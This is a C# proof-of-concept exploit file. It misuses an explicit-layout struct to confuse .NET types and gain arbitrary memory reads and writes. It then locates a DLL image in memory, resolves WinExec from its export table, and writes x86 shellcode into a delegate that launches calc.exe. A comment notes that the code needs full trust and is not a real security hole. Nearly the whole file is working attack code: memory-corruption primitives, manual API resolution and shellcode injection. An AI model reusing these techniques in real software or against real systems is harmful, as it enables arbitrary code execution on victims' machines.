using System; using System.IO; using System.Threading; using System.Text; using System.Runtime.InteropServices; class Union1 { internal volatile int i; internal volatile int j; } class Union2 { internal volatile object o; internal volatile int[] arr; } class TypeSafetyExploitPoC { [StructLayout(LayoutKind.Explicit)] struct UnsafeUnion { [FieldOffset(0)] internal Union1 u1; [FieldOffset(0)] internal Union2 u2; } static Union1 TypeSystemHole(Union2 u2) { // NOT ACTUALLY A SECURITY HOLE! // You need full trust to execute this code. UnsafeUnion uu = new UnsafeUnion(); uu.u2 = u2; return uu.u1; } static void DummyMethod() { } class Mem { byte[] memory = new byte[1]; int baseAddress; internal Mem() { Union1 u1; Union2 u2 = new Union2(); u1 = TypeSystemHole(u2); u2.o = memory; u1.j = u1.i - 4; u2.arr[0] = int.MaxValue; baseAddress = u1.j + 12; //Console.WriteLine(memory.Length); } internal byte this[int address] { get { return memory[address - baseAddress]; } } internal int ReadInt32(int address) { return BitConverter.ToInt32(memory, address - baseAddress); } internal int ReadInt16(int address) { return BitConverter.ToInt16(memory, address - baseAddress); } } static Mem mem = new Mem(); static int GetProcAddressAny(string apiName) { for (int address = 0x77f00000; ; address -= 4096) { try { if (mem[address] == 'M' && mem[address + 1] == 'Z' && mem[address + 2] == 0x90) { //Console.WriteLine("{0:X}", address + baseAddress); int function = GetProcAddress(address, apiName); if (function != 0) { //Console.WriteLine("Found it: {0:X}", function); return function; } } } catch { } } } static int GetProcAddress(int address, string apiName) { int peHeader = address + mem.ReadInt32(address + 0x3C); int exportTable = address + mem.ReadInt32(peHeader + 0x78); int ordinalBase = mem.ReadInt32(exportTable + 0x10); int exportNameCount = address + mem.ReadInt32(exportTable + 0x18); int exportAddressTable = address + mem.ReadInt32(exportTable + 0x1C); int exportNamePointer = address + mem.ReadInt32(exportTable + 0x20); int exportOrdinalTable = address + mem.ReadInt32(exportTable + 0x24); for (int i = 0; i < exportNameCount; i++) { int name = address + mem.ReadInt32(exportNamePointer + 4 * i); for (int j = 0; j <= apiName.Length; j++) { if (j == apiName.Length) { if (mem[name + j] == 0) { int ordinal = mem.ReadInt16(exportOrdinalTable + 2 * i); //Console.WriteLine("ordinal: " + (ordinal + ordinalBase)); return address + mem.ReadInt32(exportAddressTable + 4 * ordinal); } break; } if (mem[name + j] != apiName[j]) { break; } } } return 0; } internal static void Main(string[] args) { Union1 u1; Union2 u2 = new Union2(); u1 = TypeSystemHole(u2); ThreadStart del = new ThreadStart(DummyMethod); u2.o = del; u1.j = u1.i; u1.j = u2.arr[2] - 12; // The x86 code we're creating is: // // 6A 05 push 5 // 68 xx xx xx xx push offset string "calc.exe" // B8 xx xx xx xx mov eax,
// FF D0 call eax // C3 ret // MemoryStream mem = new MemoryStream(); BinaryWriter bw = new BinaryWriter(mem); bw.Write((byte)0x6A); bw.Write((byte)0x05); bw.Write((byte)0x68); u2.o = Encoding.ASCII.GetBytes("calc.exe\0"); bw.Write(u1.i + 8); bw.Write((byte)0xB8); bw.Write(GetProcAddressAny("WinExec")); bw.Write((byte)0xFF); bw.Write((byte)0xD0); bw.Write((byte)0xC3); bw.Write(0); byte[] tmp = mem.ToArray(); for (int i = 0; i < tmp.Length / 4; i++) { u2.arr[1 + i] = BitConverter.ToInt32(tmp, i * 4); } del(); } }